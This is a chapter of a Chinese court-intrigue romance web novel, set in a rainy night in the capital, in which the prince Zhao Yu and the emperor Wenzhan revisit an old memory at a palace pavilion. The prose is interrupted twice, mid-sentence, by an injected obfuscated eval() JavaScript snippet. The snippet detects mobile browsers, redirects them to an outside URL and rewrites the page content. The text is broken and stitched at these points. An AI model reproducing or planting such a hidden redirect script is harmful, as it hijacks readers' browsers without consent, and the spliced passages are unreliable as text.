夜风带着雨丝,不一会儿,雨骤然加剧,磅礴的水开始顺着朱红色的宫墙流淌。 许多年前,也是雨夜,…… “那是血。” 赵毓的声音,“大正宫朱墙黑色琉璃瓦,就是象征着血与铁。铁就是兵器,血就是人命。” “如今微音殿内危机重重,在大正宫外说这种话,合适吗?” 赵毓,“这是真话。真话就是让人说的。” …… “柳大人。”小太监将手中的琉璃灯向前照了一下,更加清晰了柳密脚下的路,“伏天阴晴不稳,突然大雨,您当心。” 到了。 琉璃灯所照之处正是丹陛。三丈高,三层汉白玉的台基,一级一级台阶之上,就是微音殿。大郑祖制,只有陛下与宰辅,王公,才可以从丹陛两侧走,否则就是以下犯上。 之前,他不走这条路。 他走的,是旁边的一条普通青砖铺就的台阶。 如今,…… 琉璃灯不但照清楚了丹陛两侧的路,也照清楚了柳密的衣角,——江崖海水的彩纹,层层叠叠的丝绣,象征一品文官的煌煌紫袍。 十年。 凌烟阁,一层一个鬼门关。 从他第一次以青衫进士的身份,顺着青砖台阶进入微音殿,到今天,整整十年。 柳密到微音殿的时间,不早不晚,——有些人已经到了,有些人还未到。 安静。 没有往日同僚之前的寒暄。 他知道,此时此地的自己,就算不是异类,也会有些许不同。因为,他过于年轻。不要说与内阁、兵部、户部的大学士们相比,这几位身披紫袍,有些人却已经须发皆白了;即使是与今夜入殿的那些手握军政实权的皇族世子们相比,他也过于年轻了。 今夜微音殿上,唯二更加年轻的人则是东宫与雍王。他二人未及弱冠,安静坐在御座旁边的紫檀木椅上,列席听政。只是,即使他们身份极贵重,可,今夜的他们,是不被允许开口说话的。 丑正二刻,微音殿奉诏觐见的人齐全了。 半柱香之后,皇帝也到了。 作为臣子,今夜入微音殿必须全套朝服。 可是皇帝不同。他身上只是穿了一件黑色缂丝皇帝常服,既显示出了天下之主的随适,也表明了夙兴夜寐的勤政。 众臣跪拜。 皇帝走路并不慢。 不是理学推崇的那套四平八稳的踱步,却也不是一般王族权贵们那种慵懒嚣张,或者是习武之人的剽悍。 就是,走得异常安静,像他这个人一样。 价值万金的缂丝,名贵浓烈的熏香,包裹着那个人,正位于御座之上。 此时,方传来皇帝的声音,让众人平身。 柳密记得,第一次在大朝会上见皇帝头戴天子十二旒,而那象征着帝王权力的十二道玉珠串却几乎不摇动时候的惊讶!他自己幼年开蒙,十数年研习理学,几乎从读书开始就将“克己复礼”奉为圭臬,如今也只是修行至模糊见到“动心忍性”的边缘。 而皇帝,却是另外一种完全不同的境界:——一个人,一个活生生的人,如何做到安静如金玉硬石一般? 柳密是农家子弟,周王封地的属民。即使周王是他的封君,可是那对贪婪残酷的周王父子,他之前也是没有资格见上一见的。他乡试之前见过最大的人物就是知县;会试、殿试之前,非常偶然的一次机会,他在卢沟晓月见过当年的祈王承怡。 只是,等他成为天子门生的时候,祈王早已不在雍京了。祈王于凤化三十九年被废,而柳密则是元熙三年的进士。这成就了此时的他,与微音殿内衮衮诸公又一个不同,——只有他,从未见过先帝。 王族贵戚拥有自幼入宫觐见的权利;而如今眼前诸公,则全是凤化、元熙两朝重臣。那位执政四十年,功业彪炳史册的先帝,对于柳密,只是个道听途说的圣像。 ——听说,那位先帝拥有一股英雄气,不然也不会创下四十年的丰功伟绩。 而今上呢? 当年殿试的时候,柳密第一次见到皇帝,——陌生,惊诧,最后居然是绝望。 这就是至高无上的君父? 亿兆群生所托命的大郑帝王? 年轻,甚至可能比他这个年少中举、未出茅庐的学子还要年轻!怪不得朝野有“主少国疑”的流言!还有,一个男人,为什么长成一副流光华彩的异宝模样?熠熠生辉,却因为古老珍稀的血统,成为吉光片羽。 当时,柳密脑中恍恍惚惚有一个声音,就像当年村里的先生给他启蒙的时候,混混沌沌讲着史书上那些晦暗血腥: ——生于深宫之中,长于妇人之手。 …… 赵毓回京,已经是一天之后了。 也是子夜。 雍京北门早有持有诏书等候燕王父子的太监,是司礼监秉笔,绿直。 “两位王爷,郡王。” 闻言,燕王转眼看了看赵毓,——这位是禁宫中陛下的心腹太监。他们心知肚明,绿直口中的“两位王爷”,必定指得是燕王,与赵毓。 所以,皇帝一直承认赵毓王族的身份? 而赵毓,则十分平淡,他甚至还没有薛宣平表情丰饶,那位嘴巴裂开,像个被开瓢的西瓜。 “燕王,郡王。”绿直,“上喻,军情紧急,您二位进京不用去贤良祠候旨,直接进微音殿议事。” “是。只是,……”燕王迟疑了一下,“他呢?” 指的,是赵毓。 绿直,“陛下并无旨意宣召。” 此时的赵毓,还是照常的平淡,依旧是他惯用的那副德性: ——脸蛋子上似乎糊了一层上好的生宣,白惨惨的,倒是有一种瘆人的秀美,就是看不出表情。 北境第二封八百里加急军报入了大正宫。在雍京的、手中有军政实权的亲王、郡王,甚至连世子们都去了微音殿,而唯独漏了赵毓这么一位战功煊赫、曾经手握重兵、如今依旧持有太|祖玄铁虎符的“亲王”。这陛下与赵毓之间的关系,还真是玄妙到让人想要揣摩,都无从入手的地步。 雍京早已经宵禁,夜雨不弱,赵毓先将薛宣平送回元承行,随后才回鹧鸪殿。 只有黄枞菖在,他泡了茶,又拿了条布巾给赵毓擦了擦。 那封八百里加急究竟是什么事,赵毓没问,反正黄枞菖也不会说。 坐在殿前的汉白玉大台阶上,看着红莲池子,赵毓心中一突一突的,忽然问黄枞菖,“你困吗?” 黄枞菖说,“还能扛。” 赵毓站起来,进入殿内,从回来的行李中提起一个鹿皮袋子,“跟我去趟祈王府,放个东西。” 黄枞菖吃惊,“啥?!……” 雨逐渐稀疏了起来,宵禁后的雍京,安静的像是能将深夜又染了一层暗色。 赵毓下马,站在王府门前的台阶上,抬头看:——几乎要划破天际的那块百年黑檀木匾额,上面用黄金浇筑的三个大字:祈王府。 王府中门大开。 正殿是重檐歇山顶,与大正宫微音殿相同,在规格上仅次于重檐庑殿顶,而此种宫殿,千载来大郑王朝只有一座,就是历代帝王大朝会时方开启的大正宫天承殿。 朱墙上耸着双层黑色琉璃瓦! ——谁才可以安然住在这里,不怕天威难测,灭族大祸? 王府小沧浪这边有水榭。两层的木雕阁楼,夜里点燃琉璃盏,灯火可以透过雕花窗,直接撒在环绕在周围的水面上去,随着涟漪,翻着点点的星芒。 赵毓把手中一直拿着的鹿皮袋子递给黄枞菖,“燕王送还我一张弓,你知道放在哪儿。” 祈王府这里一直有人打扫,被照顾的就像是它的主人从未离开过,甚至连被褥帘幕都熏着赵毓曾经最爱的白昙花的味道。如今人在这里,看到的、闻到的,感受到的,如同时间从未流逝,一切与故园十四年前一般无二。 黄枞菖这才打开这个袋子,“这不是当年徽郡王家九爷的那张弓?他同您在南苑猎鹿,您用着趁手,就拿过来了。” “当年的小九,如今的徽郡王世子。”赵毓,“这弓好用,当时他挺舍不得。” 黄枞菖,“您开口,他肯定割爱,他可不敢和您争。” 赵毓没说话。 黄枞菖,“后来,这弓去哪儿了?” 赵毓,“我拿到西北去了。那地方是战场,我手劲不够,用上了弩,这张弓也就闲置了。再后来,给了奉宁,如今转了个圈,奉宁他爹又送还给了我。” 黄枞菖收起来,“我放靶场后面的库房去,那里还有几张弓,您曾经用过的,都存着。” 他走后,赵毓一直看着水面。 …… 当年,水岸对面有杨柳枝和花丛,铺了一片白砂,养了两只仙鹤,种了一株桃花。 那个时候,殷忘川也在,只是,他们两个分房睡了。赵毓想着,他总觉得小殷那个时候有了些自己的小秘密,就好像他自己,自从先帝把玉熙宫给了他,他就不让他娘有事没事随便跑过来帮他收拾东西了。 那一天,他同殷忘川和黄枞菖一起扎风筝,一直扎到掌灯。 三个人大约扎了十来个风筝,特别简单,只是方块的模样,后面拖着两条尾巴。 赵毓挑了挑,选了一个看上去还算方正的留给越筝。那个时候,越筝还小,只有五岁。 剩下的,他就打算明天到院子里,和殷忘川与黄枞菖放着玩。 许是玩儿了一天,又扎了一天的风筝,累了,赵毓吃过晚饭就睡觉了。 他睡在水榭二楼。 睡到半夜,他又觉得有些饿,就睁开眼睛,忽然觉得奇怪。 本来应该漆黑一片的水榭却是灯火通明,楼下还有人走动和说话的声音,而且黄枞菖也不在他身边。 他掀了被子,揉揉眼睛走到楼梯拐角那边,就听见崔珩的声音,“太子殿下这个时候来,怕是不合适吧。” 是文湛到了。 崔珩与他又说了一些话,左右互相看不对眼。 文湛让人把他的披风取了下去,有人连忙捧过来一个银盆,里面有清水和棉布巾,他洗了洗手,还用布巾擦了脸,这才坐下。 黄枞菖亲手捧茶,放在他的手边。 文湛对他说,“让凤晓笙给我煮一碗面。刚从微音殿过来,没有吃东西,胃里不舒服。” …… 雍京夜雨彻底停歇,雾气却漫了上来。 ——怎么忽然想到那一天? 赵毓觉得站着久了,脖子有些僵,抬手揉了揉,想着让黄枞菖铺床,今夜就睡在这里,结果一转身: ——“啊!!!!” 还是文湛。 与回忆不同。此刻的他是皇帝,不是曾经的太子。那一袭黑色缂丝龙袍,表示着,他已经是天下主宰。 “陛下,我我我,你你你,……,你怎么在这儿?” “什么你你你、我我我的。”文湛有些莫名其妙,“你看什么这么入神?我在你身后站半天了,你都没理我。” “你看,茶都凉了。”说着,他将手中的茶盏在赵毓面前摊开,“瞧,没热气了。” 赵毓把茶盏拿过去,放在桌上,“雨夜凉,别喝这个,再给你沏一盏。黄瓜!” “别喊他了。”文湛却说,“我让他上楼铺床去了。” “咦?”赵毓有些意外。为什么微音殿如此紧急的时刻,文湛要在宫外过夜?不过,转念一想,他也不意外了。文湛都跑到宫外了,自然就可以在宫外过夜。 水榭本来也不是王府正房。 赵毓原本的卧房是王府最好的屋子,正正经经坐北朝南,敞亮华贵。 可不知道为什么,今夜,这两个人竟都没有想到去那里睡觉。 水榭是赵毓在夏夜纳凉的地方。 地方狭窄,床铺自然也狭窄。一张黑檀木的床,倒是极上好的木料,就是尺寸只余鹧鸪殿卧榻的一半大小。 原本只有赵毓一个人,他可以翻来覆去,颠三倒四地睡觉。 可是,两个人,就…… 他们两个都是多日未曾好好入睡,累极了的,文湛原本想着,一躺下马上去见周公。 可是,…… 当外面服侍的人将帘幕放下,封闭狭窄的卧榻之内,只有气息的声音与白昙花的香味,撕撕扯扯。 这里曾经的记忆,透过时间的掩埋,依旧如此清晰。 就像是有人用刀子剐下一般。 这里对于文湛,是极其特殊的地方。 十四年前的一个春夜,文湛就在水榭的楼下等了赵毓一夜。那个时候,他根本没有奢求到楼上来。 …… “黄枞菖,你上楼看看,承怡睡了吗?刚才我们我们说话声音有点高,我怕把他吵醒了。” “殿下放心,我们王爷今天用过晚膳就睡了,他睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729006|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉您还不知道,就是天打五雷轰,我们王爷也只当是蚊子哼哼,怎么可能醒呢? 文湛又看了他一眼,黄枞菖连忙改口:“奴婢这就去看看。” 不一会儿,他下楼,“殿下,我们王爷睡得可香甜了,鼻涕泡都出来了。” 文湛吃完了面,让他们把东西收了,就对柳丛容说:“让他们把这里的灯熄了,你们也下去吧,我等他。” 黄枞菖看了文湛一眼,小心地说:“殿下,虽说现在已经到了春天,可是夜间寒气重,水榭阁楼这边又没有御寒的衣物和薄被,您要是在这里着了凉,那就是奴婢们的罪过了。奴婢斗胆说一句,如果您有话对王爷说,奴婢这就上楼把王爷请下来,您把想说话告诉王爷,就不要再在这里等了。” 文湛甚至都没有看他:“不用去了。他睡着了不喜欢被人半夜叫起来,我可以等。” 过了一会儿,柳丛容说:“殿下,明天一早还要见杜矐,问询东海军饷的事情。水榭前面是花厅,有床也有被子,奴婢伺候您到那里歇息吧。” 文湛看了他一眼:“要歇,你去歇息去。我哪儿也不去,就在这里等。” 他声音不高,却有着慑人的冷意。 屋子中有片刻死寂。 看文湛当真动气了,无人敢劝,柳丛容把文湛的披风放在那边的木椅上,连忙吹熄了纱灯,和黄瓜一起出去了。 屋子里一下子就暗了下来,外面安静极了。 文湛坐在木椅上,看着窗外,姿势端正的就好像正在毓正宫读书,甚至带几分虔诚的味道,仿佛那个盛气凌人,顺者昌逆者亡的太子,一下子成圣人面前乖巧的布衣学生。 …… 帘幕围着,白昙花的味道越发浓重。 文湛忽然半撑着身子,起来,他听见自己的呼吸也浓重了起来,缓缓低下头,在赵毓的嘴角亲了一下。 却,惊醒了他,“怎么了?” 翻身压了过去。 暗,周围暗到透不出一点点的光。 今夜不知道怎么了,这事就是做不成。赵毓全身都是僵的,后来文湛用了些蛮力,也得逞了,…… “承怡,……,忍一忍,……” 求|欢,带着些许低三下四的意味。 怎么会有这么强烈的欲|念?兽一般,似乎作为人的画皮都要碎裂开来,姬氏王族古老的凶性。 这几天究竟发生了什么? 微音殿到底出了什么事? 那道八百里加急的军情,究竟说了什么? 赵毓额头全是冷汗,他疼到难以忍受,攥了拳头,没有推开文湛,却是用力捶了几下床板,文湛动作就停了,硬生生地退了出去。 依旧维持个耳鬓厮磨的形状,额头紧紧抵着额头,却弥漫着一股苦闷的情绪。 半晌,没人说话。 随后,文湛起身,披衣下楼。 赵毓一个人躺了会儿,原本的困意骤然消失,可是身体上的疲累却像是依附在骨头上了一样,正在一丝一丝渗透: ——不行,这样下去绝对不行。 可以预见,未来这些天必定凶险异常,不睡觉绝对不行。 他起来,扯过衣服穿好,想要叫文湛上来,别折腾了,安心睡觉。 却在楼梯拐角处,站住了。 他看着楼下,文湛就在那里坐着,手边是黄枞菖奉的茶,不知道是凉,还是热。 这样的场景,透过时间,几乎是一模一样的。 …… 还是那一天,十四年前。 文湛命令柳从容,“你先出去,告诉外面人,后退二十步。” “是,殿下。” 崔珩,“太子殿下想要和我说什么?” 文湛说,“崔公子是祥贵妃的亲侄子,也是承怡的表哥,论国法,你是外戚,论私情,你也是小王的亲戚,只是天家骨肉不比常人,我们并不熟悉。可是不熟悉归不熟悉,并不是没有情谊在。” 崔珩双手抱肩,斜着靠在门框上,冷笑了一声。 文湛则继续,“崔公子,恕小王无礼,实话说一句,你多年来的所作所为,不能称之为巨商,只不过是追名逐利的市井小人罢了,种种作为,与崔公子本身所秉持的商政大家风范实则大相径庭。” 崔珩手放了下来,脸色也凝重了起来。 文湛细数了崔珩几项罪名。 “崔珩,这几项罪过,任意一件挑拣出来,都是抄家灭族的大罪。如你这般大奸大恶之人,小王尚且与你对坐,平静谈话,你不觉得羞愧吗?” 崔珩死死的盯着他,突然一笑,居然带着点江左十里烟雨,垂柳丝丝,清溪潺潺,桃花遍地的味道。 崔珩,“太子殿下所说的这些,有些是真的,有些却是假的。这其中的波谲云诡,我知道,太子殿下也知道。如今崔某只问殿下,意欲何为?” 文湛淡笑着,端着茶盏,不喝,却是仔细看里面的茶。 这是君山银针,产自岳阳洞庭湖,冲泡后,雀舌含珠,刀丛林里,名贵异常。 片刻之后,文湛又把茶盏放了回去。 他也站了起来,说,“崔公子,小王爱重你的才华,并不忍心相逼若此。小王说句明话,若崔公子为我所用,他日封疆入阁,指日可待。” 同时,文湛不等崔珩说话,他又说,“崔公子一直在江南经商,久不在雍京,不知小王脾气。小王也可一并告知。小王家法甚严,唯独对从小一起长大的长兄承怡宽厚,除此之外,再无例外。” 文湛忽然一笑,艳到极点,带着肃杀,“凡不能为小王所用者,亦不能为他人所用。不知小王言语,崔公子可明白?” 这是文湛第一次,也是唯一一次亲自开口招揽崔珩。 崔珩忽然一声大笑,“哈,太子殿下高看我了。崔某并无如此宏图大志。崔某出身寒门,冬瓜甘薯未必不能了此一生,奈何心有牵挂,不得不筹谋十年,机关算尽。崔某也不求名利双全,只不过想求一清净之所,安身立命而已。只不过,雍京这里不是崔某心仪之所。” 文湛,“哦?承怡这所宅院还不算吗?茅檐草舍,月淡风清,如果愿意,尚可有佳人为伴,这难道不是世外桃源?” 崔珩看了看他,又看了看外面,“有太子殿下在的地方,就不是清净之所。外面刀光剑影,杀气重重,还有妖气,以及争名逐利的腐臭之气。” 文湛淡淡一笑,像极了他手中的茶,淡色的,几乎就是清水的味道。 “那要看人心。这里有水,有花,有田舍,亦有猎场。可渔,可猎,可调素琴,可花前月下,……” “亦可谈笑定乾坤!” …… 崔珩不知道,文湛不知道,当年,赵毓就在楼上,安静看着他们。 然后,文湛依然不知道,那个春夜,他在楼下等了他一夜,而他在楼上,也看了他一夜。那个时候,文湛虔诚的像个圣人面前乖巧的布衣学生,一直半垂着眼睑,并不知道,只要微微抬头,就会看到他的。 停了雨的雍京,夜晚凉风起来。水榭这里本就跑风漏气,文湛手边的茶水已然凉透。他不喝了,就站起来,想要回楼上,微微抬起来眼睑,却看到了楼梯拐角处,一直安静看着他的赵毓。 “你怎么起身下床了?” “这话应该我问你吧。”赵毓扶着楼梯扶手下楼,“看什么这么入神?” “那边,……”文湛下巴点了点方位,“临水的院落,种了一株桃花,早就开败了。” 那里,当年,是殷忘川住在王府时候的院落。赵毓微微叹口气,“多少年的老黄历了,提他干嘛?” “不提他,那提我们。”文湛微微低下头,没有看赵毓,“很多年前,我在这里,等了你一夜,我,……” “嗯。”赵毓点头,“我知道。那一夜,你先把老崔骂了一顿,此后多少年,他只要一提起这个场景,就恨你恨得牙根痒痒。这他第一次,也是唯一一次,被人强摁着低头,这口气似乎人临死之前最后那一下子,就此被憋住,再也出不来。并且,时过境迁之后,你做了他的主上,他成了你的臣子,崔珩就更加无能为力。我估摸着,此后,他叫你’小狼崽子’这个称呼时候,又多加了几分咬牙切齿,也就是为了这事儿。” 文湛一双眼睛死死盯着他,“你知道?” “我知道。那天我睡得早,你一来水榭我就醒了,就在楼上看着你们说话。”赵毓说着,拿着文湛喝过的茶水抿了一口,“然后,你又让黄枞菖上楼看我醒了没,是我让黄枞菖说我睡着,我记得,你就把他们都打发走了,一个人坐在这里。” 文湛,“……” 赵毓,“当时我想着,你一抬头就能看到我,结果,你一直低着头,一坐就是一整夜。” 忽然,就没有人说话了。 周围的声音,似乎是一瞬之间静默下来的,只余下,雍京夜风萧萧肃肃,在王府亭台楼阁中穿行。 “你当时为什么不下来?” “我想着,……”赵毓将茶盏又放回桌面上,“你坐一会儿,就走了。” “你巴不得我走。”文湛忽然觉得嘴巴里发苦,应该是方才喝的茶水沏得太浓酽,浓的发苦,“我当年都没有奢求独占你,就是想着,你在身边给我留个位子就好,就这点念想,都是我用命求来的!” 赵毓听着心里一揪一揪的,张了张嘴巴。 然后,就听见文湛又来了一句,“你有心肝儿,你就是不要我。” 这是文湛给了个台阶。这个时候,只要赵毓回一句“我的心肝儿不就是你嘛?”今晚这事就囫囵过去了。 可是,不知道怎么了,赵毓就没吱声。 文湛觉得今夜喝的茶水更苦了。 他知道翻旧账挺没劲的,伸手扯了赵毓的手腕子,拉着上了楼。 两人安安分分躺好。不幸的是,原本就被打成碎片的睡意,此时更是消失得无影无踪。赵毓翻来覆去,又坐了起来,想着,起来把早膳吃了,等天亮之后就不用再折腾吃饭这事儿了。结果,他一起来,文湛也坐起来。一张床,文湛原本躺在外面,此时,刚好守着床沿,把赵毓堵在里面。 文湛看着他,“你想干什么?” 赵毓,“……” 文湛不说话,就等着他。 赵毓没办法,“我想下楼吃点东西。” “你别动。”文湛扯过衣服披好,下床,“我给你拿。” 结果,他人都走到楼梯拐角了,还不忘记转身又吩咐了一遍,“你别动,你就在那里待着。” 似乎,怕他跑了一般。 不一会儿,文湛端着一碟子酥糕上楼,看着赵毓一脸懵,却乖乖待在床上,很是满意。 他坐在床边,把碟子放在赵毓手边的被褥上,“吃吧。” 赵毓,“我能到那边椅子上吃吗?” 文湛摇头,“不行。” 赵毓,“可是,这酥糕吃着太噎人,我想就着茶水。” 文湛,“你先吃,等你噎着了,我再给你倒水。” 赵毓苦着脸,“小祖宗,别这么整治我,咱说好的,不翻旧账。” 149. 149 149 赵毓吃了两口酥糕,果然噎着了,终于如愿以偿喝到了文湛亲手倒的茶水,“小祖宗,你要是不睡,我让他们准备早膳,我陪你正经吃点东西?” 文湛问他,“你还饿吗?” 赵毓,“我被噎饱了。” 文湛,“我不饿。” 赵毓,“那咱们就接着睡吧。” 似乎到了黎明,又开始下雨。所以,雍京还没有被晨晖照亮,就被雨幕笼罩了。文湛感觉赵毓的手臂穿过他肩膀与枕头的缝隙,拥住他,慢慢地,将他的身体揽过来,抱在自己怀中。 心跳声,没有那么有力,却是安宁平稳的。 还有,他的气息。 肌肤的味道,清冽冽的,混在白昙香气中,像烈酒中的清水。 叹息一般声音,“小祖宗,别折腾了。” 文湛感觉到赵毓的手指,像是无意的,力道极轻,也极慢,开始揉搓自己的头发。这是赵毓很喜欢的一个动作,喜欢到,甚至是最疯狂的交|欢,他也会这样做。 头皮酥酥麻麻的,像是弥补了方才那场未尽的云朝雨暮。 赵毓的声音,“方才在雍京北门,燕王得知你没有宣召我进微音殿议事,很是担心。” “哼。”文湛趴着很舒服,“这个时候,你进微音殿,该担心是我。” 赵毓轻轻嗯了一声。 文湛,“危局之中,朕这位持有太|祖玄铁虎符的王兄,自然要在外,拥周公诛伐之力,方可震慑狼子野心之徒。” 赵毓忽然笑了,“雍京城里,有一个算一个,能沾染军政实权的人物,都被你圈在微音殿了。如今这情形,你让谁出来,谁才能冒出来透口气;你不让谁出来,谁就得憋着。陛下至圣极明,运筹帷幄,朝中人才更是像迎风生长的韭菜一般济济,有啥可担心的。这种大任,还砸不到我脑袋瓜子上。就是不知道,这些大人们,自己成为瓮中之鳖的事情,现在可想明白了?” 帘外的雨越来越浓重,砸到雕花窗子上的声音,竟然带着些许杀伐之气。 皇帝忽然低语,“承怡,如果放任山海关乱起来,……” …… 赵毓,“陛下让龙骑禁军围了北境诸藩那些人的府邸,即使没有降罪,也会有闲话传出来。他们一定会说陛下是宋帝,那些藩镇是岳飞,并且再配上他们几代先祖曾经的忠肝义胆,战功赫赫,顿时,一部狡兔死走狗烹,飞鸟尽良弓藏的传说马上从北境一路荡气回肠进雍京城。” “如果陛下昏聩,不顾朝局,只顾千秋之后留在青史上的圣名,势必不敢这么做,前方的局势瞬息万变,顾忌太多,必然坐困愁城,错失良机。以后就艰难了,一步错,步步错。” 黄枞菖,“您在西北的时候,也顾虑过这些?” 赵毓,“西北打了几百年的战,和这里情势大不相同。西北人苦战乱久已,只要能平息动荡,生死不惧。可是,雍京这里的人们平顺日子过久了,根本不知道山河破碎风飘絮是个什么滋味,北境战事一起,朝廷征税调兵他们只会以为是平添大麻烦,必定怨声载道,如果再有人推波助澜,到时候,场面一定很不好看。” 黄枞菖问,“那应该如何做?” 赵毓,“《左传》上都写了,郑伯克段于鄢。撤藩镇,最好的法子就是逼着那些藩镇彻底反了,叛军一路烧杀抢掠进山海关,刀锋所到之处一片焦土,满地狼藉,让所有人有切肤之痛,这样,朝廷征税调兵就是顺应天意,到时候,不但没有阻力,反而众志成城,哀兵必胜。等待王师荡平暴|乱,天下大定,礼乐征伐自天子出,千秋之后,不会有人说陛下是宋帝,那些藩镇是岳飞。圣上留在青史上印记就是圣明仁德,就是垂范天下的大功业!” 黄枞菖,“这样做,是不是太造孽了?” 赵毓,“何为大功业?” 黄枞菖,“愿闻其详。” 赵毓,“大功业,就是永垂不朽的功绩,与无法超度、永堕地狱的业障。” …… …… 崔珩沉默了许久,才开口,“承怡,你有没有想过,只要陛下的军队最终戡乱功成,他依旧是一代雄主。这些顾忌,那些争议,那些杀戮,其实都不算什么。而且,如果战火从北境烧入山海关,尸横遍野也不怕,反而能激起同仇敌忾的哀兵之势,有大利!” 三百年前,宪宗皇帝为了收复破旧河山,特意放一支外族骑兵从西北绕过冻土荒原,从北境进攻,翻越大鲜卑山,入山海关,直捣居庸关,兵临雍京城。 流血漂橹。 这本应该是不容于大郑宗庙的罪业! 只是。 当宪宗皇帝重新统一华夏,驱逐胡马,他放外敌入境就是不得已而为之的战略;他的杀戮就是不得已而为之的手段;战火烧到雍京城下,不是君主无能,而是那些乱臣贼子,鞑虏外患罪无可赦。 宪宗的一切都被奉上神坛,他本人就是大郑宗庙中文治武功彪炳青史的帝王! 不会有人在意那些死去的籍籍无名之辈,那些曾经鲜活的性命,被黄土掩埋,累累白骨不过是泛黄史册上几笔寥寥的记载,对比帝王将相的伟烈丰功,犹如尘垢粃糠,卑卑不足道也。 …… “先睡觉。”说着,赵毓的手指越发轻柔了。 满手都是文湛的头发,暗夜一般,深幽色,外面看上去如同极上等紫貂的皮毛,昆仑墨黑色的玉,柔和又顺滑,而其实,不揉到发根,根本看不出来,皇帝的头发,根骨是硬的,一根一根,像是小小的利刃,有着割手的错觉。 “天大的事,睡饱了再说。” …… …… …… 因为下雨,所以辰时就比平时晦暗一些。 赵格非举着伞,走到寿春宫的大门口,等了一下太贵妃为她搭配的一位陈尚宫还有一位小太监,三个人正准备出宫门去谢家书院,却,看到了越筝,撑着一把油纸伞,沿着浩渺的莲池逶迤而来。他身后则是几个小太监,捧着几个颜色各异的锦盒,蒙着遮挡雨水的油纸。 ——这么早进宫? 赵格非心中嘀咕了一下,随后发现,越筝的脸色不太好,像是一两夜没有睡好,有一种脆薄画作之感。 ——也许是进宫面圣,太晚不好出宫就被留下了,反正如今大正宫别的没有,就空房子多,别说住他一个人,就是住下整个内阁,六部,外加那些王族显贵都富富有余。 赵格非半蹲了一下,“七叔。” 而她身后的陈尚宫与小太监则全部跪下,“王爷。” 越筝走近,停下,先让跪着人起来,随后则说,“我南边的庄子送了一些吃食,我挑拣了一些上品,送过来给太贵妃尝尝鲜。” 陈尚宫上前一步,“太贵妃尚未起身,奴婢这就去通禀。” “不必了。”越筝却说,“想来太贵妃也不太想看到我。陈尚宫,你领着我这几个人,将东西拿进去就好。” “是。” 这些人领命,连忙去做事情。 越筝看了看躬身垂手站在赵格非身后的小太监,“你也去。” 那人抬了抬头,瞄了越筝一眼睛,连忙低头,随即退下。 雍王积威甚重,虽然年轻,才十九岁的年纪,却是说一不二。 大郑王公向来不以年龄长幼论权位。同样是在京的王公,吉王也是亲王,辈分还高一辈,五十多岁的年纪,就显得和善多了,因为他只被皇帝派了一个烧猪烧香的差事。这活计就算是做成了天花乱坠,也只不过是把整个猪烧得色香味俱全一些,翻不出天去,说到底,就是没实权。 雍王不同。 越筝是有听、议大政权力的亲王,等闲人自然不敢违逆。 此时,这里就只有赵格非和越筝两个人。 赵格非感觉两人四目相对,大眼瞪小眼有些尴尬,“七叔,南方的庄子都送来什么好吃食?” 越筝,“秃黄油。就是去年中秋采得一些蟹膏,甚是肥美,用猪油熬了,放在瓷坛子中密封,拌米饭或者煮豆腐羹都好。” “我祖母不爱用。不过,……”赵格非微微转了一下手中伞柄,“我爹倒是极爱吃这个。” 雨水似乎又浓重了一些,莲池上已经起雾,荷叶上有了一些轻微噼里啪啦的声音,像是有人随意拨弄檀板。 越筝,“还有一些南方的点心,随便尝尝,总有太贵妃喜欢入口的。” ——那您这吃食,到底是送给祖母“太贵妃”的,还是送给我亲爹的? 赵格非,“如此,就谢谢七叔了。” 随后,又是一阵沉默,似乎,比之前还尴尬一些。 赵格非又转了一下伞柄,发现越筝一直看着她,“七叔,我脸上可是蔷薇香膏、又或者是三蒸茉莉香粉没有推匀?不然,你为什么一直盯着我?” “他们说,……”越筝,“你长得极像兄长少年时候,……” “俗话说,女肖父儿肖母。”赵格非点了点头,“祖母也说我与我爹小时候极像,就是我比他文静。” “兄长少时,……,就是你这个样子?”越筝当真疑惑,“这么文弱?” 赵格非,“……??” 莲池中的鱼似乎都被激了出来,浮游在水面上,吐出一波一波涟漪。 “七叔。”饶是她努力没话找话,此时也委实找不到什么话了,“我感觉咱们叔侄两个,有些话不投机。如果您实在想要找人聊天,烦劳您纡尊降贵去找一下黄瓜叔,他有内秀,定然能跟您相谈甚欢。” “他不在宫里。”越筝说,“他去了祈王府。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729007|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵格非很是意外,“黄瓜叔去掏河泥了吗?上次他还嘀咕,王府的水坑也空了许久,他想着得空掏一下淤泥,种一些珍品莲花。就是可惜,那里空置,没有人住,就算一水坑都是极品莲花,也没人欣赏。” “格非,……” “七叔,您说。” “你们在云中,是怎么过日子的?” “我爹常年不在家。”赵格非想了想,“他在敦煌、天山、拉莫孔雀河的日子居多,有那么一两年,甚至远征到了撒马尔罕,还当真给我带回了撒马尔罕的金桃。” “一闻归阙下,几番熟金桃。”越筝到也听说过这个,“听说这种金桃来自仙境。” 赵格非,“其实,那就是又大又圆、色泽金黄的桃子,长在戈壁之西,特别甜。” 说到这个,她似乎又找到了一些“没话找话”的说辞,——“我小的时候,我爹难得回云中,就喜欢带着我去逛集市。那个时候,他给我穿个小斗篷,正红色绸缎,金线绣得花团锦簇,因为我小名是花骨朵。他一手抱着我,一手拎着苇草编制的篮子。我们爷俩一路逛,一路都有人塞给我们吃食,有些是干果蜜饯,有些是西疆漠北运过来的肉干和酸奶干。” 逛集市吗? 